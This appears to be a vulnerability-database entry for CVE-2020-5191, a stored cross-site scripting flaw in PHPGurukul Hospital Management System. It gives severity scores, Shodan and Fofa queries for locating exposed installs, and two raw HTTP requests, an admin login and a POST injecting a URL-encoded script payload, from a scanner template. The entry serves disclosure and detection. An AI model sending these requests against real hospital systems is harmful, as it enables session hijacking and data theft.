| Title | PHPGurukul Hospital Management System - Cross-Site Scripting |
|---|---|
| Author | TenBird |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04817 |
| CVE ID | CVE-2020-5191 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"hospital management system" |
| Fofa Query | body="hospital management system" |
| Tags | cve2020 cve hms cms xss authenticated edb phpgurukul vuln |
PHPGurukul Hospital Management System in PHP 4.0 contains multiple cross-site scripting vulnerabilities. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
POST /hospital/hms/admin/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/9.0
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=zy9Vlx&password=kzXzxL&submit=&submit=
POST /hospital/hms/admin/doctor-specilization.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/9.0
Connection: close
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
doctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5191.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5191.pcap
N/AN/A